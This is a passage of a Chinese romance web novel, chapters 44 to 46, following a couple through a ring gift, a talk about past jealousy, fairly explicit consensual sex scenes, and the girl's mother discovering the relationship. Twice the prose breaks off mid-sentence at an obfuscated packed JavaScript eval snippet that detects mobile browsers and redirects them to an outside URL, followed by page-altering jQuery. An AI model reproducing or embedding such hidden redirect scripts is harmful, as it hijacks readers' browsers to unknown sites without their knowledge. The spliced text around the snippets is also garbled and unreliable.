倒是她,总借着接吻的理由去咬他。 但今晚做了几次,夏曈发现沈湛明总在找机会吻她,而且吻得特别深,特别凶。 毕竟他们分开了这么久,沈湛明现在可能是有点黏人? 不过既然他都说了不做,那么总不至于食言。 夏曈任由他,有一搭没一搭地回应。 可是十几分钟后,她刚喘过气,沈湛明捏着她的下巴又要吻过来。她实在不想亲了,就摇着脑袋拒绝。 沈湛明动作微顿,抬手关灯,随后掌心托在她后腰,哄她睡觉。 他早晨刮过的胡子已经冒出青茬,贴在夏曈的额际,有点痒。 过了片刻,夏曈睡意朦胧之际,忽地想起什么:“你那个客厅好空哦,买个鱼缸当装饰吧。” 沈湛明对此并无意向。但她一般这么说的时候,就代表她想要。 他低声问:“曈曈想养什么鱼?” 夏曈也不认识什么鱼,她只是刷手机时看别人养鱼很有意思。 她将脸埋在他颈窝,嘴巴还痛着,“那种好看的、会发光的小鱼。” “好,明天去买。” 沈湛明的掌心轻拍她的背,“睡吧,乖乖。” 他的身上温暖而干燥,带着她熟悉的气息。夏曈感到安宁,在他怀里寻了个舒适的姿势,逐渐睡去。 44. 第 44 章 沈湛明的办事效率极高,第二天清晨开车去给她买了榕记蟹粉小笼。中午两人去趟花鸟鱼市场,把鱼缸和各种小鱼都置办好了。 鱼缸底部铺了一层细腻的白沙,摆满各种颜色的贝壳。 夏曈最喜欢其中的一条斗鱼,是冰蓝半月,但脾气特别暴躁,有鱼靠近就会触发战斗模式,只能单养。于是两人专门给它弄了个豪华单间,与其他小鱼分隔开。 “听说这种鱼很娇气,很难养。” 夏曈已经在鱼缸前坐了半小时,看得津津有味,“我以后要多分出精力照顾它们了。” 沈湛明摸了摸她的发顶,“所以搬过来住吧。” “不要。” 夏曈仰脸看他,口中说着拒绝的话,唇角却在上翘,像一只坏心眼的小猫,“我现在觉得自己住挺好的,才不想和人同居。” “嗯,”沈湛明坐在旁边,很自然地把她抱到自己腿上,“我做的饭也只能自己吃了。” 夏曈揽住他脖颈,“我可以来帮你分担呀。” 她的唇饱满软弹,唇角上翘着,还有微微的肿,是昨晚被他吻得狠了。 沈湛明看她这副坏心眼的模样,唇角微勾:“你嘴巴馋了就来我这里吃饭。等你什么时候有需求,我再主动送上门让你睡,是吗?” 夏曈抿唇笑,眼里光亮狡黠又勾人,“我可没这么说。” “哦,”沈湛明凝视着她,扬眉道,“那你是什么意思?” “我意思是……” 夏曈的手指玩着他衬衫领扣,想了半天,她好像就这么个意思,于是耍赖道,“你就说让不让我睡吧。” 沈湛明被她气笑,“我不让你睡还能让谁睡?” 又想起件事:“有个东西要给你。” 夏曈抬眸:“什么?” “礼物。” 夏曈懵懵的,这时候给她补送新年礼物吗? 沈湛明起身去了趟卧室,回来时手里已经多了个方形的酒红色礼盒:“打开看看。” “我还不想考虑结婚的事情。”夏曈的眉梢轻挑,“而且这个品牌的珠宝好贵。” 沈湛明淡声道:“我需要这种装饰,来挡掉一些额外的烦扰。” 譬如搭讪,譬如各种善意的“打听”。 可是他的职业不允许他佩戴戒指。 夏曈想到这一点,立即清楚他只是在寻找借口。这个借口很粗糙,让她一眼看出漏洞,他也对此心知肚明。 可他还是用了。 也许沈湛明根本不在乎什么搭讪,他只是想和夏曈一起佩戴钻戒。 “好吧。” 夏曈无所谓,如他所愿,将礼盒外面的缎带抽开。 她揭开盒子,红丝绒软垫上静静躺着一枚戒指,中间是整颗的粉钻,切割精致,璀璨夺目,周围则是一圈白钻,在并不明亮的客厅里散发着耀眼的光芒。 戒圈内部,还镂刻着XT,她名字的缩写。 沈湛明一直观察着夏曈脸上的表情,此时见她眼里流露出惊喜神色,算是放下心来。 “戴上试试?” 夏曈思索一瞬,将戒指戴上无名指,完全合适。 也不知他怎么买得这么精确。 沈湛明在她身边坐下,温声道:“你无名指的指根,与我小指的第二个指节一样粗细。” 夏曈将戒指在他小指戴了下,惊讶不已:“真的。” 她抬脸看他,眼瞳清澈水润:“你观察得好仔细。” 沈湛明凝视着她,眸光柔和缱绻。 其实他们之间还有很多小细节,他连她身上有几颗痣都清清楚楚,但夏曈这个没良心的小混蛋,平时只会跟他发脾气胡闹,对这些事一点都不注意。 夏曈好奇问:“那你的呢?也是粉钻吗?” 沈湛明当然不会佩戴这种闪闪的饰品。他只挑选了素戒,内圈镂刻了他们两个人的名字缩写。 “你肉麻死了。”夏曈看得脸红,“这又不是婚戒。” 沈湛明将素戒戴在无名指。 随后,他将她的手捏在掌心,指腹抚摸过她细软的指。 两枚戒指就这样和他们的手指一起,亲昵纠缠。 他声线低沉:“婚戒等以后再买一对。” 夏曈抿唇笑,又垂下眼睫,看向两人紧握住的手。 沈湛明就是这样,他会为她准备好一切,但也从不会逼迫她。 “为什么想起买戒指?” 夏曈美滋滋地看着粉钻,越看越喜欢,“不要说什么避免搭讪的话啦,肯定是你的借口。跟我讲实话,沈湛明。” “确实是为了避免搭讪。”沈湛明温声道,“但是为了避免有别的男人接近你。” 夏曈转头看他,“别的男人?谁接近我了?” 她不觉得自己和哪个异性走得近。 沈湛明沉默以对,将她的手拢在掌心。 夏曈看他这副欲言又止的样子,就猜出他是有什么不好讲出口的心事。 沈湛明极少这样,但他这种醋得要命又不愿承认的样子,闷骚又性/感。 看到他薄红的耳尖,夏曈来劲了,抱住他的肩膀使劲晃,“到底是什么事,你说话呀。” 她绞尽脑汁回想:“不会还是那个课代表吧?都高中的事,我早就忘了。你还在为这事吃醋吗?” 沈湛明抬眸看她。 她的眼珠很亮,眉毛和眼睛都弯弯的,脸上有好奇,也有想得到答案的急切。 与几年前相比,她也长大了,变得温和、包容,不会因为这种小事跟他闹脾气。 沈湛明轻声道:“还记得你大三下学期时,我去F大看你吗?那天你染了红发,穿着半身格子裙。” 夏曈没什么印象。 沈湛明留学时虽然忙,但有空就飞回国内找她。她记得自己大三染过红发,但想不起他说的是哪次了。 “能再给点提示吗?” 沈湛明沉默一瞬,又道:“当时我在教学楼外的芙蓉树下等你,你和一个男生一起出来,他摸了你的头发。” “……啊?” 夏曈想起来了,“他啊。” 其实那天晚上,夏曈就看出沈湛明有点不高兴。 她有解释说那男生只是一起负责项目的同学,沈湛明当时也没说什么,她就以为这事过去了。 谁曾想他记到现在。 夏曈惊讶之余,心里也挺不是滋味。 她当时满心沉浸在与他见面的喜悦中,完全忘记了沈湛明的性格就是万事自己担。 从小到大的相处,让沈湛明已经习惯性地纵容她。 即便他感到失落,也会因为她是妹妹,而下意识选择迁就她,一次又一次地妥协、让步。 夏曈用她的任性,软磨硬泡地教会沈湛明如何与她恋爱。 她自己却被惯得越发娇气,忘记了在恋爱过程中,包容与滋养应该是相互的。 现在想来,两人恋爱期间,夏曈大部分时候只顾着自己的情绪发泄,对于沈湛明的感受与想法,都基本忽视。 因为他年长,因为他成熟稳重,所以就算她让他感到不安、怨怒,他也只能自己消化。 哪有让妹妹去哄哥哥的? 可是,妹妹为什么不能去哄哥哥? 夏曈压着心底涌起的酸楚,抱住他的肩膀晃了晃,“我和那个男生真的没什么,我们是一个专业,但不是一个班的,那次项目结束后我们就没联系过了,他也知道我有男朋友。” 沈湛明沉默以对,这些话他在几年前就听过。 夏曈想了想,把自己能回忆起的所有事都和盘托出。 “项目结束后他跟我告白过一次,但他只是把这事说出来而已,算是了了一件心事吧。他见过你呀,知道我们在恋爱,所以也没想和我有什么……” “我在意的不是那个男生是谁,”沈湛明见她总抓不住重点,蹙眉道,“而是他摸你的头发,你却不拒绝。” 夏曈怔住。 沈湛明见她沉默,当即就心软了,温声道:“已经是很久之前的事了,我们不提了。曈曈,我也不是想把以前的事情拉出来争论,只是希望以后,如果有异性想要突破正常的社交距离,你能做到明确拒绝。” 他观察夏曈的表情,见她没怎么生气,只是有些发懵。 沈湛明正反思自己这番话是不是说得太严厉了,就听她轻声说:“也就只有那一次。因为你那天要来找我,我很高兴,就没怎么在意他的举动。” 她垂着眼睫,视线落在地板上,有点委屈。 “唉,是我错了嘛。” 她以往没少对他撒娇讨饶。但都是不走心的哄弄,目的只为了让沈湛明更惯着她。 这是两人相识以来,夏曈第一次正儿八经对他认错。 沈湛明蓦地心软。 她眼睛里的那点湿润,化作滔天潮水,将他的醋意和痛苦挣扎哗啦啦全冲走了。 他觉得自己真是太过苛待她。夏曈讨厌大部分男生,并向来与他们保持着界限分明的距离,这点他又不是不知道,他是没醋吃了吗?扒着这么一点事来回咀嚼。 人就是容易贪心。他才找回她多久,就开始要求她眼里只有他了。 “对不起,是我的错。”沈湛明拍拍她的背,哄道,“我不该这么说,乖乖。” 他本就没奢望她还记得。现在她态度这么乖,沈湛明原本就快自己消化完的怒火更是一点不剩。 他轻轻吻她额头,她都这么认真地道歉了,他还要怎么样? 夏曈眼里的湿润实则是在心疼他的多年隐忍,此时却见他道起歉来,想了想,没明白他哪里错。 她却觉得沈湛明跟自己在一起更辛苦了。 夏曈捧着他的脸,认真道:“沈湛明,我有时候是挺自私的,只顾着自己舒坦,完全不考虑你是那种有事都憋在心里的类型。你呢,是从小就让着我,让习惯了,有种自我奉献式的心态。可是从现在开始,我们都改变一下吧,好不好?” 沈湛明抬手,指腹抹去她眼角湿润,轻声问,“怎么改变?” “你有任何心事,都不要憋在心里好吗,什么事可以跟我讲。妹妹也可以哄哥哥,女朋友也可以哄男朋友啊。” 夏曈眉眼弯如新月,“没有人是无坚不摧的,每个人都会有脆弱的一面,沈湛明,你也稍微依赖一下我吧。” 我们的关系,不应该是一方无条件纵容另一方,而应是相护包容、相互依赖。 就像你如哥哥一般始终在身后托举着我,我也可以给你足够的安全感。 - 这几天两人住得乱七八糟的,家里各个角落都能见到彼此的物品。 夏曈平时会去他家客厅看看小鱼,但晚上还是喜欢睡在自己家,她有点认床。 沈湛明只要和她一起睡,地点倒无所谓。他每天下班就拎着食材过来给她做晚饭,随后顺理成章就在她的卧室睡下。 夏曈晚上睡得比较沉,有时他忙到凌晨才过来,她也察觉不到。等早晨醒来后才发现他又上班走了,热腾腾的早饭在厨房里保温。 冰箱里是他准备好的食材,他不在家的时候,她只要简单加热就可以吃了。 现在的夏曈连外卖都不必点,饮食堪称健康又均衡。并且她有在上健身课,身体素质很明显地提高许多。 与之相伴的,是精力更加饱满。 别的不说,至少在床上,她很少被弄得小腿抽筋。 临近元宵节,下午沈湛明去医院上班,夏曈去忙活工作室的事情。 晚上七点多,两人约好在商场碰面。 晚饭是泰式餐点,酸辣可口,香料味浓郁,柠檬叶清香。夏曈吃得发汗,浑身舒爽。 饭后两人开车去青岩桥看烟花,晚上到家已是十点半。 回的自然是夏曈家。 夏曈先钻进浴室,用磨砂膏沐浴乳的香味,洗去沾了满身的香料味。 她洗完出来时,沈湛明已经把两人换下的衣物都洗好晾在阳台了。 “哇,洗这么快,这么急着要侍寝吗?” 夏曈裹着浴巾,走过去让沈湛明给她吹头发。 她的肩颈还有水珠,在灯下流光,手臂关节泛着淡淡的红。 沈湛明扯过浴巾一角,给她擦肩颈,淡笑道:“嗯,迫不及待。” 他刚才用的客房浴室,身上沐浴露的味道与夏曈不同。 夏曈扭过头,趴在他身上闻了两口,觉得这个味道也蛮好闻。 奇怪,那款沐浴露她本来觉得很苦的,怎么被沈湛明用了,就那么上头呢? 她扒着他的脖子又吸了好几口,被他握着肩膀扳正,“别乱动。小心吹风机碰着。” 夏曈只好转身,坐在沙发前的地毯上。温热的风响在耳畔,空气里很快弥漫着洗发水的香味。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469407|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶几上放了杯泰式柠檬茶,里头的冰块还没化,水面有薄荷叶漂浮。 夏曈抬头看电影,《哈尔的移动城堡》,不知看了多少遍还不腻。待沈湛明给她吹完头发,恰好播放到空中漫步的情节,伴随着圆舞曲的旋律,她吸了一口柠檬茶,转过身,喂到他嘴里。 她整个人是扑过来的,沈湛明猝不及防被她吻得后仰,差点呛着,喉结滚动地将那口柠檬茶咽下去。 他将吹风机放下,唇舌间都是柠檬与薄荷叶的酸甜味道,带着冰凉的寒意。 夏曈已经跪在沙发上,他的两腿之间。她揽住他的脖颈,一点点啄吻他微红的唇,笑意盈盈,“好喝吗?” 平时沈湛明不让她碰这些冰凉的东西,她本就体寒,肠胃也弱。但今天温度并不是很冷,夏曈又特别想喝冷柠檬茶,沈湛明也不是什么封建大家长,便给她买了个中杯。 “没尝出味道,”沈湛明的手臂环住她的腰,助她保持身体平衡,“再喂我一口?” 夏曈的眼眸凝视着他,拿过柠檬杯,又吸了口。 随后,她扬起下巴,在他的视线注视下,吻过去。 她用的是粗吸管,将茶水里的碎冰块吸入了口中。 沈湛明张开唇。 冰块在两人唇齿之间纠缠翻转,发出细碎而清脆的碰撞声。 过低的温度会让人的感知不那么灵敏,彼此都觉得吻得不深,于是越发深刻地纠缠,冰块的融化速度显著变快,夏曈被亲得头脑发懵,整个人都钻进了他怀里。 没有人知道冰块何时融化殆尽的,沈湛明抱着她站起身,慢慢走回卧室。 卧室里并未开灯,窗帘却敞着,夜幕里隐隐的烟花光芒短暂流淌进屋内。 沈湛明将她放在床榻,扯开她身上裹着的浴巾。 夏曈觉得自己像是一块融化的麻薯,被他灼烫的掌心箍住,捏揉磋磨。直到沈湛明伸手去床头柜里拿套,她才从濒临的意识中牵扯出一抹清明,嗫嚅道:“好像……用光了。” 沈湛明身体微顿。 他之前还专门在床头柜放了一盒,上次用光了他也知道,但这几天实在忙昏头,居然忘记补。 “我那还有,”沈湛明亲亲她的脸,套上衣服就要去拿,“等一分钟,乖。” 夏曈好气。 他穿衣服就走,让她光溜溜地瘫在床榻,算什么样子? “我也要去。” 她黏在沈湛明身上,“你不能把我一个人晾在这里。” “好。” 沈湛明也忍得有点难受,没多说什么,扯过旁边搭着的薄毯把她裹严实,直接抱着就走。 出了门温度仍是低的,但夏曈被包得严实,又有沈湛明体热烘着,并没察觉到冷意,就被他放在了床上。 汤圆和胶布都在他家玩,此时见主人归来,屁颠颠追过去求宠爱,却被沈湛明抬腿挡在卧室外。 卧室门随即紧闭,一猫一狗蹲守在门外,面面相觑。 卧室内,夏曈还是没挺过三分钟。 潮后,她的脸颊和脖颈皮肤染上蔷薇红,脑袋晕乎乎地,还没回过神。 这次,沈湛明却并未笑她没出息。 他皱着眉,脸上是隐忍到极致的神情,已经心情再去开玩笑。他捏着她的小腿,一寸一寸,轻轻向上揉捏。 随后,铝箔撕开的声音被那一点水声掩盖。 凌乱的气息纠缠,夏曈彻底软成一滩水,她掐着沈湛明的手臂,断断续续说,“……以后不戴了也行。” 沈湛明当然不会以为她想要小孩。即便她想要,他也不舍得她吃这份苦,会意道:“我去约结扎。” 夏曈点头,“好。” 过了没多久,她就露出要哭不哭的样子。 越在这种时刻,她越想要躲,扭着要跑去一边,膝盖蹭着床单没动几下,就被沈湛明握住小腿捉回去。 沈湛明压覆住她,全身重量近乎都落在她身上。夏曈绞尽脑汁地转移话题道,“我手机、手机……还没拿过来!” “不拿了。” 她像条活鱼似的扑腾,沈湛明被她扭得躁乱,血气上涌,一掌拍在她脂肪最丰盈的部位,低声反问:“明天周末,能有什么事?” 夏曈再次被他暴力以对,脸颊红透,气得直想立刻爬走。 沈湛明稍微放松对她的钳制,深黑幽邃的眉眼凝视着她,在她即将脱离他的掌控时,攥住她的脚踝拖过来,复又狠狠压下去。 “变/态!暴力狂!” 夏曈小腿战栗着,神志不清地控诉。沈湛明带给她的感觉太过猛烈,她气都快喘不过来,此时极度渴望他能温柔相待,却又舍不得这种濒死般的感受。 她天生就是这样的矛盾体,贪图欢愉,又想要温柔。她什么都想要,可沈湛明身体力行地告诉她,她只能选择其中一样。 整个夜晚几乎一直在做。 后半夜时,夏曈真的掉了眼泪。她把泪水都蹭在沈湛明的胸膛,质问他的不知节制:“你一定要把过去一年没做的份都补回来吗?” 沈湛明才没有这么幼稚。 但他也解释不清自己的行为。 正常来讲,他应该是懂得分寸的。可今晚不知怎么,她越是哼哼唧唧的,他就越想做下去。 说到底,沈湛明很清楚她的极限在哪。他能在不伤害她的前提下,带给她最多的愉悦。 可夏曈不想要那么多。 沈湛明俯身亲吻她的额头,轻声道:“不做了。” 他把两人都收拾干净,刚躺进被子,夏曈就往他怀里钻,胳膊腿缠住他的身体,埋怨道:“你今天又打我了。” 沈湛明在她心里已是个不折不扣的暴力狂和具有特殊癖好的变/态分子,此时也无奈道:“疼吗?” 夏曈摇头:“不疼。” “嗯,”沈湛明轻拍她的后背,又问,“舒服吗?” 夏曈脸热,抬手捂住他的嘴,“唉,你不要问了。” 她对这件事并不抵触,只是每次都觉得很羞耻。可是既然沈湛明喜欢,她也愿意随着他。 这点小事,她当然要包容。 沈湛明勾唇,下巴抵在她毛绒绒的头顶,阖眼道:“乖,睡吧。” 临睡时,夏曈想起,她的手机还落在对面自己家。 但大周末的,她能有什么事? 因此没再想,就算天塌了,也等明天睡醒再说。 45. 第 45 章 初春的清晨还带着寒意,天色灰蒙蒙的,窗玻璃蒙了一层霜。 沈湛明七点醒时,夏曈整个人缩在他怀里,睡得正酣。 卧室里弥漫着一股暧昧的气息,混着她身上的香,提醒沈湛明昨晚做得有多过分。 他闭眼醒神,掌心习惯性轻拍她的后背,同时下巴抵在她毛茸茸的发顶,很细微地摩挲。 夏曈在睡梦中察觉到这点熟悉的亲昵,发出无意识轻哼。 良久,沈湛明放轻动作起身,去浴室冲澡。 出来时只围了浴巾,夏曈还在睡,只是半边身子压到了他的枕头上,仿佛睡梦中也在下意识追寻他的气息。 沈湛明走过去,替她掖好被角,把落在脸上的碎发拂开。 她睡得脸红,眼皮还微肿着,残留昨晚哭泣的痕迹,鼻子有些堵,因此发出细小的鼾声。 沈湛明坐在床沿,眸光很柔和,就这样静默地,深深地,专注地,看着他的乖乖。 夏曈察觉不到他的注视。 她睡沉了是这样的。有时被他揽在怀里安静乖巧,有时却挣开他的手臂,滚得远远,还会在被子里给他一拳两脚。 沈湛明睡觉轻,按理来说会被她打扰。但和她一起时,又总是感到踏实与满足,睡眠质量极高。 他俯身看了一会,亲亲她的额头,起身揭掉浴巾,换居家服。 昨晚闹到凌晨三点,满打满算,他只睡四小时。但此时头脑已经清醒,他没有在床上消磨时间的习惯,便准备去书房做一些论文工作。 他工作间隙会起身放松,带汤圆下楼转转。但今天夏曈睡在他的卧室床上,沈湛明时不时过去看一眼她的情况。 九点半,夏曈醒过一次。 她昨晚大量缺水没补回来,室内温度燥热,烘得她喉咙干涩发痒,就着沈湛明的手灌下一大杯水,含混不清地说了句什么,倒头又睡了。 中午十一点,夏曈才终于睡饱,神清气爽地起床。 她的衣物早在昨晚就没法穿了,估计被沈湛明洗干净晾阳台。 她光着身子总不能再去找。 于是打开衣柜,随便挑了件他的衬衫套上。好在室内温度高,光腿也不怕冷。 夏曈将窗帘窗户都打开,让初春的冷寒气息冲散室内的暧昧,又去厨房找了点东西吃,垫垫肚子。 餐桌上是尚且温热的鲜肉馄饨和灌汤包,应该是沈湛明半小时前点的。 他清楚她的身体状况与睡眠习惯,知道她会这时候醒来。 也知道她喜欢吃什么样的早饭。 沈湛明听到她的动静,从书房走出。 细框眼镜还在高挺鼻梁上架着,让他浑身充满了不近人情的冷漠,仿佛昨晚对她索求无度的人不是他。 夏曈瞥他一眼,没吭声,似乎还在为昨晚生气。 沈湛明的视线在她身上衬衫以及两条细白长腿停顿一瞬,没说什么。 他在她身边坐下,摘掉眼镜搁在桌上,温热掌心贴在她后腰,缓慢而用力地捏着她酸痛的腰与大腿。 他技巧熟稔,以前夏曈体测跑八百米累得要死,就是他给她揉捏酸胀的腿部。 没一会儿,夏曈就舒服得轻哼起来。那碗馄饨吃了一半,搁在桌上,就不想吃了。 沈湛明看了眼,“再吃两个。” “不,”夏曈把大腿翘在他膝盖,“给我捏捏腿。” 沈湛明给她捏腿,待她舒服了,把她剩下那半碗馄饨和灌汤包都解决掉。随后又去卧室,将满是暧昧痕迹的床单被罩都换下来,塞进洗衣机里清洗。 卧室里的气息已经重归清新,沈湛明关闭窗户,室内很快盈满暖意。 就在这时,他的手机有电话打进来。 夏曈抱着小猫站在鱼缸前看鱼,没抬头,以为是他工作上的事情。 谁知沈湛明看了眼来电显示,淡道:“曈曈,是杜阿姨的电话。” “你接呀。” 她没当回事。 以前杜静兰也没少给沈湛明打电话,翻来覆去,不就是杜女士太忙了,拜托沈湛明就近收拾这个不听话的夏曈曈。 夏曈从来不放心上,反正沈湛明不舍得对她怎样的。 沈湛明没接电话。 旋即,玄关处传来敲门声,杜静兰问:“湛明,你在家吗?” 夏曈睁大双眼,与沈湛明对视,意识到什么。 沈湛明征求她的意见,“要开门吗?” 杜静兰的业务已经扩展到S市,她不忙的时候就来给夏曈做顿饭。生怕这个“废物”女儿因为不会做饭饿死,亦或吃外卖吃到营养不良。 此刻开门,意味着他们将关系坦白于长辈面前。 夏曈长睫轻颤,一时没作声。 沈湛明也不催促她做决定。那通电话他并没有接,此时已经自动挂断。 而敲门声仍在继续。 杜静兰就在门外,她一定是打了夏曈的电话,没人接,发现家里又没人,才来找沈湛明。 夏曈向来手机不离手,不可能把手机落家里就出门。她走不远,大概率是在沈湛明家玩。 沈湛明提议道:“要么你先去卧室待一会。我帮你想借口。” 夏曈深吸口气,“不用。” 沈湛明看着她。 夏曈站起身,在他的目光凝视中,走去开门。 “湛明啊……” 杜静兰刚才在洗菜,此时袖子挽着,手有点湿。 她放下手机,脸色在看到夏曈的瞬间变得微怒,“夏曈曈,我就知道你在这!找你湛明哥,连手机都不知道带?眼睛怎么还肿了?刚睡醒?你睡到现在啊?是不是昨晚又熬夜!” 夏曈打断她的喋喋不休:“妈。” 杜静兰这才注意到她身上的宽大衬衫。 她刚醒,穿着明显不属于她的衬衫,在沈湛明家。 是个正常人,都能猜到怎么回事。 杜静兰睁大眼。 这时,沈湛明走过来,站在夏曈身边,“杜阿姨。” 杜静兰的视线在两人之间来回,终于沉默了,神情露出一种平静的震惊。 “妈,你是来做饭吗?” 夏曈轻咳声,率先打破沉默,“来得正好,我都饿了。” 杜静兰瞧她,眼里迸发出一种奇异的光芒,“瞎说,你身上一股馄饨味。” 夏曈低头笑,抱着她的肩膀往家走,“走吧走吧,杜大厨做的饭,我肯定要吃啊。” 杜静兰短暂沉默,回头看沈湛明,平静道:“湛明吃午饭了吗?过来一起吧。” 沈湛明顿了瞬,颔首说好。 他去了就得掌勺。 夏曈换了身自己的衣服,和杜静兰坐在沙发。厨房门闭着,沈湛明在里面炒菜,油烟机的声音隐约响起,因此母女俩就在这里畅所欲言地说话。 杜静兰微眯起眼,像以前审视下属一般地审视她。 夏曈抱着胶布,往沙发里缩,“妈你有话直接说呗。” 杜静兰严肃发问:“你俩什么时候开始的?” “嗯……”夏曈不敢说自己早恋,这在杜静兰眼里无异于判死刑,“高考后吧。” “他高考后,还是你高考后?”杜静兰蹙眉。 夏曈炸毛:“当然是我高考后!妈你想什么?” 沈湛明高考时她才初三! 杜静兰听见这话,眉心好歹是舒展些许。 这还差不多。 沈湛明不至于做个混蛋,哄骗她未成年的女儿。 虽然这个女儿并不乖,总是气得她暴怒失去理智,但毕竟是她杜静兰的骨血,她自己都不舍得打,怎么肯拱手由着女儿跟别人去玩什么早恋! 幸好两人还没触底线,否则就算沈湛明是她好闺闺的儿子,她也照样动手。 杜女士一辈子风风火火,最近又练上保健操,浑身有的是力气,即便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469408|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对付沈湛明这样的精壮青年,她也自觉不在话下。 “他先提的?”杜静兰想到什么,又压低声音问,“曈曈,你跟妈说,你是自愿的吗?” “当然是啊!” 夏曈皱着脸:“妈你不要总觉得我是小孩子,我喜欢谁,我自己还不清楚吗?我那时都多大了,当然知道我想做什么,他怎么会哄骗得了我?” 她就知道事情会发展到这一步。 杜静兰对她的事太小心了,总把她当成一个没有自主意愿的小孩子,就连谈恋爱这种事也是沈湛明仗着哥哥身份哄骗她。 至于么? 夏曈总是被这样看扁,但其实她一点都不扁。她很支棱的! 厨房里,沈湛明忙碌午饭的声音隐约传来。 夏曈闻到油爆大虾的味道,她有点馋,清了下嗓子,“其实呢,这件事是我提的,是我要和沈湛明在一起。” 杜静兰扬眉看她,那眼神仿佛在说:小样,你还有这出息? 夏曈抗争道:“本来就是!我们的初吻也是我主动啊,还是我强吻的他,他一点都不反抗……” 杜静兰差点把茶喷出来,老年人听不得这些话,打断道:“行了,行了,妈知道。” 夏曈窝回沙发里,手指习惯性地抠着抱枕的图案,“反正我现在是和他在一起的。” 杜静兰叹息道:“你那个姓谢的男朋友……” “分了。” 杜静兰点头,对这事倒是颇为满意。小男友,不靠谱。俩人在一起是过日子的样吗?玩过家家得了。 “跟你湛明哥是……”杜静兰努力缕清她的恋爱关系,“高考后在一起,后来分了,现在又复合?” “猜对了,”夏曈奖励地在她妈脸上吧唧一口,“真棒!” “去!糊我一脸口水,”杜静兰斥她,手心却摸摸她的肩膀,“这事闹得,我回去得跟菲菲说,还得跟你爸说。” 夏曈没吭声,她不信菲菲阿姨不知道。否则怎么这么巧,沈湛明就能跟她住一层楼? 还不是杜静兰什么都跟苑菲菲讲,无意中把她买的新房位置都给透露出去了? 偏偏杜静兰自己粗心又迟钝,完全没往那方面考虑。 这顿午饭吃得和谐又诡异。 杜静兰没有对这件事发表什么意见,只对沈湛明很微妙地客气了些。 概因身份的转变,沈湛明此刻在杜静兰眼里,已经从好闺蜜生的模范儿子,变成了稍显生分的女婿。 杜静兰下午还得去忙,两点多就走了。沈湛明在客厅沙发回复工作消息,夏曈窝进他怀里,“完了,你在我妈心里的印象,已经一落千丈了。” 从一个矜持谨言、事业有成的成熟男性,变成了会和妹妹谈恋爱的混蛋哥哥。 沈湛明把手机放一边,揽住她的腰,淡笑道:“我又背锅了吗?” “嗯,” 夏曈勾住他的脖颈,小猫舔水一样,舔吻他的唇,“虽然谈恋爱是我提出的,初吻也是我要的,但没办法,谁让我年纪小呀。” 沈湛明被她这种亲法撩拨得心浮意躁,抬手捏住她后颈,用力亲了她一下,“对,都是我的错。” 他唇角微勾:“谁叫我意志这么不坚定。被夏曈曈亲了一下,就忘记身份,晕头转向,跟她玩起地下恋情。” 夏曈的眉眼弯起,如柔柔月轮:“那我给你一个新的身份,你要不要?” 窗外的阳光盛大,斜斜倾洒,将阳台与客厅都笼罩在暖意里。 春天到了。 沈湛明抬眼注视她,“只给我吗?” 夏曈眼珠微转,明暖的光线照亮她脸颊细小绒毛,以及眼瞳里的狡黠,“这个呀……” 沈湛明不爱听她的胡闹,两指捏住她的下巴,沉声道:“只能给我,听到了吗?” 夏曈与他对视良久,脸颊埋在他的颈窝,“嗯。” 沈湛明摸摸她的发,“乖。” 46. 第 46 章 周二惊蛰,果真下了场暴雨。 雨后天晴,仿佛蘑菇生长一样,沈湛明家中各个角落也冒出许多属于夏曈的东西。 露台摆满她买来的绿植,粉白花簇错落有致,微风染上淡香。 客厅茶几不再空旷,如今放了她的各种零食,两支口红,一支瘪掉的护手霜,还有用来固定碎发的彩虹发卡。 卧室床品原本是他惯用的黑白灰。夏曈不喜欢,便换成了各种鲜明的色彩。 沈湛明有时醒来,甚至能在枕边看到星黛露。 而他的乖乖,就抱着那只玩偶,在他怀里窝成柔软的一团。 沈湛明以前从不赖床,更不会睡回笼觉。 但与夏曈同居后,他在床上耽搁的时间越来越久。 于男性而言,只是正常的生/理现象。因此不是非做不可。 尤其是沈湛明这种惯于忍耐、自持的人。 大部分时候,他能将夏曈缠在他身上的手脚移开,起身洗漱、上班。 偶尔,不着急上班时,他也遵从欲/望的驱使,掌心触到她滑腻皮肤的瞬间,便难以自持似的,翻身压住她,手指探入衣内。 早晨是最舒适的。 不同于晚上打闹式的性。这时的夏曈基本没力气推他、咬他,只能乖乖顺从他的欲/望,手臂揽在他的肩颈,任由他怎么亲都行。 要醒不醒,哼哼唧唧,声音细弱又沙哑,真成了一只慵懒的猫。 沈湛明也在这时,变得极温柔。 通常他们做完,夏曈才会彻底清醒片刻,随后又餍足睡去。 沈湛明的身上沾满她的气息,家里也到处都是她的痕迹。 每当他在某个角落里发现夏曈的东西,心里都漫出一种奇异的满足感。 夏曈还会在网上购买衣物和配饰,把这些玩偶当小孩一样装扮,再拍照美美上传。 沈湛明不理解,但见她开心,便不发表意见,只默默给她报销。 他不知道这么一团棉花布料价值多少,就把手机给她,让她自己转。 夏曈一直都知道他的支付密码。他的所有密码,都是她的六位生日。 她故意多按个零,嘴上说着:“我转了哦。” 手指动作一点不带停顿的。 沈湛明看她眼里含笑的模样,就知道家里又闹通货膨胀了。 他俯身给一猫一狗倒粮,顺手拌了个罐头进去,勾唇温声:“我那点工资也只养得起一个夏曈曈,汤圆和胶布该怎么办?” 